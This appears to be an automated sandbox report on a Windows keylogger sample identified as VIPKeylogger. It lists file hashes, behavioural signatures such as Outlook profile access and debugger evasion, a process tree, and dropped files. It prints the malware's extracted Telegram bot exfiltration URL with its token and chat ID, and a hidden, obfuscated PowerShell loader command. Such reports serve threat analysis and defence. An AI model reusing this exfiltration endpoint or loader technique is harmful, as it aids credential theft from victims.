Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
17-12-2024 08:01
General
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Target
Syltetjsmad.exe
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Size
1.1MB
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MD5
cb8e38a904d97a2782cb38140f36e3fe
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SHA1
f9d77ffb188fed3bede9998a89b7362afcc52015
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SHA256
191ed5ad32b3e7df7a75dddfdc903bfc4f0a8c4cc4549db80b8f678b66fcba90
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SHA512
6200ba0b73b377cd702a446b1da9dbc032edbef8767012f0b109d1f803de653f16d6b0725ccee6346fe2082af814fa59220896b4d6461a19a7dec95717d2b095
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SSDEEP
24576:nNrNYoECbMDm/+/3VwV5k7j5awX300zQUGtZ:N+rCbGm/+/3VwXgj5aEkHUGtZ
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7989757183:AAFOo4_6tWUyZFDLW24lYUc4AgrSMn29lec/sendMessage?chat_id=7408341442
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe"C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Prattlers=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\hypho.Liv';$Boistously=$Prattlers.SubString(8499,3);.$Boistously($Prattlers) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
343KB
MD5d08535d8d6333dabbdb3791767bf8618
SHA179fcd48dba5cb86b5f8f30536128048baf262ce4
SHA25667a7b59f47c7da638d751b8fd813282199ff14fe6c1831160cb0bc8b7195b6a4
SHA5122136f5f8b14c94b2b4b5b29f273992a5b07faacd7c80720dc4478e2ede1cb61e2e9d5ba8e8b52bb3ae861905b4eb83fb294bd69da47be314bf1e29cb4d52d50d
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Filesize
67KB
MD52680ec136e95120b96e418260f5ee955
SHA17be591e045d190eaa4e078481e8960dbd8973e46
SHA256b395b694a1bf12ab5130d593be3e9f2e8ca45fe4e21d8afffba667dd4a66a87a
SHA512128bb670f54e87b9e1ca432b0f3c4a315e3d07414c4c33701a6749f7dbefc9659d582d697b7332cc93b62739bbccf5b8953c772d426eb82b546b4a037de881e0
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Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
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Filesize
18.3MB
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Filesize
18.3MB
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Filesize
40KB
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Filesize
584KB
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Filesize
5.2MB
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Filesize
320KB
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Filesize
1.8MB
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Filesize
624KB
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Filesize
296KB
-
Filesize
7.7MB
-
Filesize
80KB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
-
Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
200KB
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Filesize
304KB
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Filesize
7.7MB
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Filesize
120KB
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Filesize
408KB
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Filesize
7.7MB
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Filesize
652KB
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Filesize
40KB
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Filesize
68KB
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Filesize
56KB
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Filesize
3.3MB
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Filesize
104KB
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Filesize
32KB
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Filesize
168KB
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Filesize
144KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
53.3MB
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Filesize
7.7MB
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Filesize
408KB
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Filesize
7.7MB
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Filesize
136KB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB